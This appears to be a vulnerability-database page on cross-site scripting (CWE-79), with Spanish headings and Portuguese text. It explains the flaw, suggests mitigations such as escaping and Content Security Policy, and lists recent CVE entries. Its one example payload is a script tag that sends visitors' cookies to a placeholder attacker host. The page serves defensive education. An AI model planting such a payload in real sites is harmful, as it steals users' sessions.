Fallos del tipo CWE-79

30.601 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-62146MEDIUMWordPress MX Time Zone Clocks plugin <= 5.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-58862MEDIUMWordPress WordPress Events Calendar Plugin – connectDaily Plugin <= 1.5.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-10551HIGHStored Cross-site Scripting (XSS) vulnerability affecting Document Management in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2025xEPSS 0.2%CVE-2026-48227MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via patient.php id and ticket_id ParametersEPSS 0.2%CVE-2025-68533MEDIUMWordPress WC Builder plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-62137MEDIUMWordPress Shuttle theme <= 1.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-30162MEDIUMCross Site Scripting (xss) vulnerability in Timo 2.0.3 via crafted links in the title field.EPSS 0.2%CVE-2025-58196MEDIUMWordPress UiCore Elements Plugin <= 1.3.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58864MEDIUMWordPress 金数据 Plugin <= 1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58985MEDIUMWordPress Additional Custom Product Tabs for WooCommerce Plugin <= 1.7.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-13097MEDIUMInappropriate implementation in DevTools in Google Chrome prior to 136.0.7103.59 allowed a remote attacker to potentially perform a sandbox EPSS 0.2%CVE-2025-58197MEDIUMWordPress Simple Download Monitor Plugin <= 3.9.34 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-124491MEDIUMSunEditor before 3.4.0 Stored XSS via FileUpload Plugin FilenameEPSS 0.2%CVE-2025-58632MEDIUMWordPress Dadevarzan WordPress Common Plugin <= 2.2.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-111095HIGHIn JetBrains TeamCity before 2026.2, 2026.1.4, 2025.11.8 stored XSS in the classic project overview was possibleEPSS 0.2%CVE-2025-58989MEDIUMWordPress Dynamic Text Field For Contact Form 7 Plugin <= 1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58988MEDIUMWordPress My Tickets Plugin <= 2.0.22 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58640MEDIUMWordPress Document Engine Plugin <= 1.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58626MEDIUMWordPress RumbleTalk Live Group Chat Plugin <= 6.3.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-104466MEDIUMYesWiki before 4.6.7 Stored XSS via Wakka Markdown Image src AttributeEPSS 0.2%